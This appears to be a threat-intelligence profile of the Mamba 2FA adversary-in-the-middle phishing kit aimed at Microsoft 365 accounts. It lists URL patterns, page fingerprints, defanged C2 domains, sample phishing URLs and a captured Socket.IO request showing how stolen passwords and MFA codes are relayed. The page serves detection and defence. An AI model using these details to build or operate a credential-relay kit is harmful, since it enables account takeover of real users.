Mamba 2FA

Technique
Credential phishing
Sub-technique
AitM Replica page
Targeted platforms
Microsoft

Updated · First published

Current breakthrough rate

Moderate

  1. Mar 2026: Moderate
  2. Apr 2026: Moderate
  3. May 2026: Moderate
  4. Jun 2026: Moderate
  5. Jul 2026: Moderate
  6. Aug 2026: Inactive
  7. Sep 2026: Inactive
  8. Oct 2026: Moderate
  9. Nov 2026: Moderate

Mamba 2FA is an adversary-in-the-middle phishing tool that targets Microsoft 365 accounts. Kits are typically deployed onto compromised legitimate websites, with the credential relay performed by a separate central C2 server.

Typical lures seen in 2026 have included fake OneDrive file browsers, SharePoint sharing pages and voicemail players.

URL patterns

The landing page is usually served from a single-letter directory on a compromised website, with a base64-encoded configuration blob as the query string:

Plaintext
https://<compromised-host>/<single-letter-dir>/?<base64(config)>[N0123N<victim email>]

Example: https://<compromised-host>/o/?c3Y9bzM2NV8xX3ZvaWNlJm09R2UmdWlkPVVTRVIwMTA3MjAyNVUzNTA3MDE1NCZ0PW9S
  -> sv=o365_1_voice&m=Ge&uid=USER01072025U35070154&t=oR
  • sv selects the lure template, e.g. o365_1_one, o365_1_sp, o365_1_voice and o365_1_nom
  • uid is a per-affiliate identifier with the format USER<DDMMYYYY>U<8 digits>
  • The victim's email address may be appended after the base64 blob using the literal delimiter N0123N, or supplied in the URL fragment

Phishing page

The AitM phishing page is delivered with an empty <body id='allbody'> and a large obfuscated inline script that builds the entire lure and login UI at runtime. Recognisable features include:

  • Attributes on the <html> element: <html id='html' sti='<base64(base64(uid))>' vic='<victim email>' lang='en'>
  • A cleartext pointLink constant containing the base64-encoded C2 URL - for example, const pointLink = "aHR0cHM6Ly9obnRvcy50b3A="; (https://hntos[.]top)
  • An unusual stylesheet dependency on https://www.w3schools.com/w3css/4/w3.css
  • The literal string authentication-server.com, which is used to replace the victim's own domain in any custom sign-in text from their tenant branding

Network traffic

The phishing page connects to a central C2 server using Socket.IO. C2 domains observed in 2026 were short .top domains behind Cloudflare: hntos[.]top, hntosglobal[.]top, hntoman[.]top and firstman[.]top.

The initial Socket.IO polling requests carry two non-standard HTTP headers containing the affiliate ID and the victim's email address in cleartext:

HTTP
GET /socket.io/?EIO=4&transport=polling&t=Pn_RVFy
Host: hntos[.]top
Auth_UID: USER01072025U35070154
Session_Email: john.doe@example.com

Events emitted by the browser are new-session, password_command and otp_command, each carrying the full session state object including the victim's plaintext password (password) and MFA code (phish_otp). The server responds with s2c events that update the displayed screen via a phish_state field (RQ_EMAIL, RQ_PASSWORD, RQ_OTP_APP, RQ_OTP_NOPASS_APP, RQ_OTP_APP_CODE, RQ_OTP_PHONE) and push the victim tenant's real logo, background image and sign-in text. Once the relay has captured the victim's session cookies, an s2c_cookies event redirects the browser to a final URL.

Representative samples

Sample URLs

  1. hxxps://gtmevents[.]com/wp-content/plugins/innim/s/?c3Y9bzM2NV8xX29uZSZtPVZxJnVpZD1VU0VSMjEwNTIwMjVVMzMwNTIxMTcmdD1lUQ=%3DN0123N

    urlscan
  2. hxxps://ghamdilaw[.]com/r/?c3Y9bzM2NV8xX3NwJnVpZD1VU0VSMDUwMjIwMjZVNDAwMjA1MDQ=N0123N

    urlscan
  3. hxxps://unipacvina[.]com/o/?c3Y9bzM2NV8xX29uZSZyYW5kPWNUbFdWMWs9JnVpZD1VU0VSMjUwMjIwMjVVNTgwMjI1NDM=N0123N

    urlscan

Public analysis

Third-party research on this tool.

See more